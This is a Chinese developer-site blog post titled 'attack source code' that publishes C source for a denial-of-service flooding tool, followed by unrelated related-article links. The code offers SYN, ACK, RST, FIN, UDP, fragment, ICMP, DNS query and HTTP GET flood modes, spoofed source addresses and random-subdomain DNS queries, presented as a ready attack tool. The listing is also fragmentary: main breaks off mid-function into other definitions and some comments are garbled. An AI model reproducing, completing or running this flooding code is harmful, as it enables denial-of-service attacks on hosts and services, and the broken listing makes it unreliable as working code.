attack source code

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 不废话,直接上代码, 先看截图use pictures; 2.source code 部分主要代码 void help_length(void){    printf("\n This is not the correct format about option \" -l \".

不废话,直接上代码,

先看截图use pictures;

2.source code

部分主要代码

void help_length(void)
{
    printf("\n This is not the correct format about option \" -l \".\n"
           " format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
    exit (1);
}

static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);


unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
                    char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp      (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp      (int sockfd,struct sockaddr_in *addr);
void send_icmp     (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();

void sig_int   (int sigo);
//static void *pthread_func(void *vptr_args);


fd_set rset,drset;

struct protocol_fake_header {
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char proto;
    unsigned short header_len;
};

struct icmphdr {
 char type;
 char code;
 unsigned short checksum;
 unsigned short id;
 unsigned short seq;
};

struct dnshdr_prefix {
 unsigned short id;         /* random() */
 unsigned short flags;      /* 0x0100 */
 unsigned short questions;  /* 0x0001 */
 unsigned short answers;    /* 0x0000 */
 unsigned short author;     /* 0x0000 */
 unsigned short addition;   /* 0x0000 */
};


struct dnshdr_suffix {
 unsigned short int type;     /* 0x0001 */
 unsigned short int class;    /* 0x0001 */
};
    

 int i = 0;
 int a = 0;
 int port;
 int count=0;
 int nw;
 int n=0;

 int gsockfd[MAX_SOCKFD];
 unsigned int send_get_number=0;
 unsigned short hostname_len;
 unsigned short iph_len;
 unsigned short tcph_len;
 unsigned short udph_len;
 unsigned short icmph_len;
 unsigned short dnsh_prefix_len;
 unsigned short dnsh_center_len;
 unsigned short dnsh_len;
 unsigned short data_len=0;
 unsigned short pkg_len;      /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */

 unsigned long packet_delay=0;
 char number ;
 char * QueryBuf;
 unsigned len_a=0,len_b;
 char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
 char * p_str; /* used by Fun build_dns_querybuf */
 char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
 char p_str_center[256];
 unsigned dn_suffix_tnum=6;
 unsigned short dn_suffix_num;
 char dn_suffix_len;
 unsigned long sum=0;

 unsigned long int send_count=0;
 char PRINT_MODE[20]="SYN Flood";         /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
 char *pbuf;
 char datasize[60];

 char *pds;                   /* used by datasize */
 unsigned short int  data_size_max=0;
 unsigned short int  data_size_min=0;
 unsigned short int  tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
 unsigned short int  tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
 unsigned short int  udp_data_size_max;
 unsigned short int  udp_data_size_min;
 unsigned short int  icmp_data_size_max=ICMP_DATA_SIZE_MAX;
 unsigned short int  icmp_data_size_min=ICMP_DATA_SIZE_MIN;
 int sockfd;
 int dn;
 int i,ii;
 int _proto_char_len;
 char proto_data[1460]="rand";
 char buffer[1501]; /* store data from gsockfd[i] (server ) */
 char buf[20];
 int buf_len;
 char ipdata[20];
 char srcip[20];
 char domainname[50];
 char hostname[50];
 char hostport[8];
 char uri[1024]=URI;
 char mode[8]=MODE;
 char http_head_get[1024]=HTTP_HEAD_GET;

 struct sockaddr_in to;
 struct hostent *host;

 struct timeval tv,pdelay;
 struct timeval pstart,pend;
 unsigned long int pdelay_sec=0,pdelay_usec=0;
 float  timeuse;

 struct iphdr *iph;
 struct udphdr *udph;
 struct dnshdr_prefix *dnsh_prefix;
 struct dnshdr_suffix *dnsh_suffix;


/*  ============= Main Function ========= */
int main(int argc,char **argv)
{
    if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
        help();
    int on=1;
    bzero(ipdata,20);
    bzero(srcip,20);
    bzero(&to,sizeof(to));
    int cn;
    
    while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
    {
    switch(cn)
    {
    case 'm':
        strcpy(mode,optarg);
        if(strcmp((mode),"syn")==0) {
            strcpy(PRINT_MODE,"SYN Flood");
            break;
            }
        if(strcmp((mode),"asyn")==0) {
            strcpy(PRINT_MODE,"SYN+ACK Flood");
            break;
            }
        if(strcmp((mode),"dsyn")==0) {
            strcpy(PRINT_MODE,"SYN+data Flood");
            break;
            }
        if(strcmp((mode),"dns")==0) {
            strcpy(PRINT_MODE,"DNS Query Flood");
            break;
            }
        if(strcmp((mode),"udp")==0) {
            strcpy(PRINT_MODE,"UDP Flood");
            break;
            }
        if(strcmp((mode),"icmp")==0) {
            strcpy(PRINT_MODE,"ICMP ECHO Flood");
            break;
            }
        if(strcmp((mode),"ufrag")==0) {
            strcpy(PRINT_MODE,"UDP Frag Flood");
            break;
            }
        if(strcmp((mode),"ack")==0) {
            strcpy(PRINT_MODE,"TCP ACK Flood");
            break;
            }
        if(strcmp((mode),"pack")==0) {
            strcpy(PRINT_MODE,"TCP PSH ACK Flood");
            break;
            }
        if(strcmp((mode),"rack")==0) {
            strcpy(PRINT_MODE,"TCP RST ACK Flood");
            break;
            }
        if(strcmp((mode),"fack")==0) {
            strcpy(PRINT_MODE,"TCP FIN ACK Flood");
            break;
            }
        if(strcmp((mode),"gack")==0) {
            strcpy(PRINT_MODE,"HTTP GET ACK Flood");
            break;
            }
        if(strcmp((mode),"gfld")==0) {
            strcpy(PRINT_MODE,"HTTP GET Flood");
            break;
            }
        if(strcmp((mode),"synclink")==0) {
            strcpy(PRINT_MODE,"Sync Link test");
            break;
            }
        else
            help();
        break;
    case 'h':
        strcpy(hostname,optarg);
        hostname_len=strlen(hostname);
        if(isdigit(hostname[hostname_len-1])) {
            to.sin_addr.s_addr=inet_addr(hostname);
            strcpy(ipdata,hostname);
            }
        else if((host=gethostbyname(hostname))==NULL) {
                printf(" resolv ip failed.\n");
                exit(1);
                }
            else {
                inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
                    to.sin_addr.s_addr=inet_addr(ipdata);
                }
        break;
    case 'p':
        strcpy(hostport,optarg);
        break;
    case 'S':
        strcpy(srcip,optarg);
        break;
    case 'c':
        send_count=atoi(optarg);
        break;
    case 'u':
        strcpy(uri,optarg);
        break;
    case 's':
        strncpy(proto_data,optarg,strlen(optarg));
        break;
    case 'd':
        strcpy(buf,optarg);
        buf_len=strlen(buf);
        if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
            buf[buf_len-2]=0;    
            pdelay_sec=0;
            pdelay_usec=(long int)atoi(buf);
            }
        else if(buf[buf_len-1]=='s') {
            buf[buf_len-1]=0;    
            pdelay_sec=atoi(buf);
            pdelay_usec=0;
            }
            else if(isdigit(buf[buf_len-1])) {
                    pdelay_sec=0;
                    pdelay_usec=(long int)atoi(buf);
                    }
                else {printf(" enter time error.\n");exit(1);}
        break;
    case 'l':
        strcpy(datasize,optarg);
        if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
            if( datasize[0]==':' ) {                           /*    :20   */
                pds=strtok(datasize,":");
                if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
                else  help_length();
                }
            else if( datasize[strlen(datasize)-1] == ':' ) {   /*   4:   */
                pds=strtok(datasize,":");
                if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
                else  help_length();
                }
            else {                                             /*    5:9    */
                pds=strtok(datasize,":");
                if(pds != NULL)  data_size_min=atoi(pds);
                pds=strtok(NULL,":");
                if(pds != NULL)  data_size_max=atoi(pds);
                }
        else {
            }

        if( data_size_max == 0) data_size_max=data_size_min;
        if( data_size_max<data_size_min)
            {
            printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
            exit (1);
            }
        if( data_size_max>1460)
            {
            printf(" data_size_max is 1460 !\n");
            exit (1);
            }
        break;
    default:
        help();
        break;        
    }
    }

    if (data_size_min == 0 && data_size_max == 0)
        {
        data_size_min=DATA_SIZE_MIN;
        data_size_max=DATA_SIZE_MAX;
        }
//        printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/    
char * get_rand_dn (char *___str_str,int str_len)
{
    int len=strlen(_domain_name_char);

    for (ii=0;ii<str_len;ii++){
       ___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
    }

    //  printf (" over for \n");
  return ___str_str;
}


void send_packets_delay( )
{
    
  pdelay.tv_sec=pdelay_sec;
  pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
  printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
  printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif

  FD_ZERO(&drset);
  FD_SET(sockfd,&drset);
 
  select(sockfd+1,NULL,NULL,NULL,&pdelay);
}



/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
    printf("  enter pthread[]\n");
     int sockfd;
    fd_set rset;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
        printf(" create sockfd error from pthread_fun.\n");    
        pthread_exit("Thank you for the CPU time");
        }
    a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
    if(a==0)
        {
          write(sockfd,http_head_get,strlen(http_head_get));
        printf(" send get request to server .\n");
        
         select
        tv.tv_sec=0;
        tv.tv_usec=5;
        FD_ZERO(&rset);
        FD_SET(sockfd,&rset);
        select(sockfd+1,&rset,NULL,NULL,&tv);
         while (1)
            {
            nw++;
            if(FD_ISSET(sockfd,&rset)) {
                printf("  enter while\n");
                n=read(sockfd,buffer,1500);
                printf(" read data ....");
                if(n==0) {
                    printf(" Accept fin and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                if(n<0) {
                    printf(" Accept rst and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                else
                    printf("read data\n");
*/
//                } /* end of if(FD_ */
/*            else

                printf("  not can be read \n");
            } */ /* end of while */
//        }    /* end of if(a==0) */
/*    else
        {
        
        printf(" connect_status:%d  errno=%d close_sockfd[]\n\n",a,errno);
        close(sockfd);
        }
    send_get_number++;
return 0;
}
*/


/* =============== check sum function =============== */

static unsigned short inline checksum(unsigned short *buffer,int size){

    unsigned long cksum = 0;
    
    while(size>1){
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }
    
    if(size){
        cksum += *(unsigned char *)buffer;
    }
    
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);        
    
    return((unsigned short )(~cksum));
}

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);

buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);

pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;

if(strcmp(proto,"tcp")==0) {
    pfh->proto = IPPROTO_TCP;
    pfh->header_len = htons(tcph_len);
    }

if(strcmp(proto,"udp")==0) {
    pfh->proto = IPPROTO_UDP;
    pfh->header_len = htons(udph_len);
    }

sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}


 

目录
相关文章
QSoundEffect(qaudio): Error decoding source
QSoundEffect(qaudio): Error decoding source
256 0
|
5月前
|
前端开发
Google Earth Engine(GEE)——argument ‘input‘: Invalid type. Expected type: Image<unknown bands>错误
Google Earth Engine(GEE)——argument ‘input‘: Invalid type. Expected type: Image<unknown bands>错误
65 0
FFmpeg Invalid data found when processing input
FFmpeg Invalid data found when processing input
492 0
Cannot find source code based button in SE24
When you are logging on to customer system for incident handling, you want to switch to source code to perform some keyword search. However, you could not find button “Source code based builder” in toolbar, with following warning message: ———————————————— 版权声明:本文为CSDN博主「汪子熙」的原创文章,遵循CC 4.0 BY-SA版权协
117 0
Cannot find source code based button in SE24
Unable to add window --token is not valid
Unable to add window --token is not valid
Cannot find source code based button in SE24 - modification assistant
Cannot find source code based button in SE24 - modification assistant
156 0
另一种无法enable ABAP source code tool的原因
另一种无法enable ABAP source code tool的原因
89 0
|
应用服务中间件 数据格式 JSON
Tomcat 8 Invalid character found in the request target. The valid characters are defined in RFC 3986
终极解决方案: Invalid character found in the request target. The valid characters are defined in RFC 3986 25-Aug-2018 11:27:27.
21130 0
openBMC source code
1、fand 1)main函数 read_sysfs_int("/sys/bus/i2c/drivers/cmmcpld/13-003e/slotid", &sysfs_value) write_fan_speed(fan + fan_offset, fan_speed) write_fan_le...
2612 0